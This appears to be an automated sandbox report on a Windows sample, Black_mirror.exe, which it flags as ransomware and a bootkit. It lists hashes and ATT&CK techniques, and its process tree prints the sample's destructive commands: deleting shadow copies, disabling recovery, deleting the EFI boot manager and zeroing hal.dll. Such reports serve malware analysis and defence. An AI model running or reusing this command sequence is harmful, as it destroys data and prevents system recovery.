77279d21ddf9f6d52e1d5560926eb860682fadfd692931be5e8fc8ddc4842106

General

Target
Black-mirror-main/Black_mirror.exe
Size 996KB
Sample260721-stecfsbf82
SHA256 77279d21ddf9f6d52e1d5560926eb860682fadfd692931be5e8fc8ddc4842106
MD5 4e31a7a9a2d15b4d4c77ac5e8e9400b7
SHA1 4cb0beabc6060676ad2824936800dc324939f6f8
SHA512 0ab720876acba25ecf73115e39015d561b16c500e8b93513d6a774fa14cd978cef6000c3e16b9f4f6583cde0468e5099908b75c8d95df1a588c5dc90eb92d99b
SSDEEP 12288:FJG+f1v/BifmccXlcCNmerADPSjzbJn1SFLA3m0aK:GmBieccYUio1SFLA3m0aK
TLSH
T11D259445F6865E9BCC522378049AF3313374BED463225B638AB8F937B813BC46DA61C5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

bootkit defense_evasion execution impact persistence ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\S:	cmd.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	Black_mirror.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\System32\hal.dll	fsutil.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1356	cmd.exe
6000	cmd.exe
3580	cmd.exe
2752	cmd.exe
3232	cmd.exe
1288	cmd.exe
1996	cmd.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5208	vssadmin.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeSystemEnvironmentPrivilege	3080	svchost.exe
Token: SeBackupPrivilege	4892	vssvc.exe
Token: SeRestorePrivilege	4892	vssvc.exe
Token: SeAuditPrivilege	4892	vssvc.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4580 wrote to memory of 3232	4580	Black_mirror.exe	90
PID 3232 wrote to memory of 3684	3232	cmd.exe	91
PID 4580 wrote to memory of 1288	4580	Black_mirror.exe	92
PID 1288 wrote to memory of 5108	1288	cmd.exe	93
PID 4580 wrote to memory of 1996	4580	Black_mirror.exe	95
PID 1996 wrote to memory of 5208	1996	cmd.exe	96
PID 4580 wrote to memory of 1356	4580	Black_mirror.exe	99
PID 1356 wrote to memory of 3164	1356	cmd.exe	100
PID 4580 wrote to memory of 6000	4580	Black_mirror.exe	101
PID 4580 wrote to memory of 3580	4580	Black_mirror.exe	102
PID 3580 wrote to memory of 2108	3580	cmd.exe	103
PID 4580 wrote to memory of 4620	4580	Black_mirror.exe	104
PID 4580 wrote to memory of 2752	4580	Black_mirror.exe	105
PID 2752 wrote to memory of 4112	2752	cmd.exe	106

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2108	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Black-mirror-main\Black_mirror.exe
"C:\Users\Admin\AppData\Local\Temp\Black-mirror-main\Black_mirror.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of WriteProcessMemory
PID:4580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wermgr.exe /disable
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3232
- - C:\Windows\system32\wermgr.exe
    wermgr.exe /disable
    3⤵
    PID:3684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1288
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:5108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c mountvol S: /s
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1356
- - C:\Windows\system32\mountvol.exe
    mountvol S: /s
    3⤵
    PID:3164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cd S:\EFI\Microsoft\Boot\
  2⤵
  - Enumerates connected drives
  - Executes a command shell one-liner
  PID:6000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib -h -s bootmgfw.efi
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3580
- - C:\Windows\system32\attrib.exe
    attrib -h -s bootmgfw.efi
    3⤵
    - Views/modifies file attributes
    PID:2108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q bootmgfw.efi
  2⤵
  PID:4620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c fsutil file setzerodata offset=0 length=512000000 C:\Windows\System32\hal.dll
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\system32\fsutil.exe
    fsutil file setzerodata offset=0 length=512000000 C:\Windows\System32\hal.dll
    3⤵
    - Drops file in System32 directory
    PID:4112

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3080

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5208

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
1⤵
PID:1612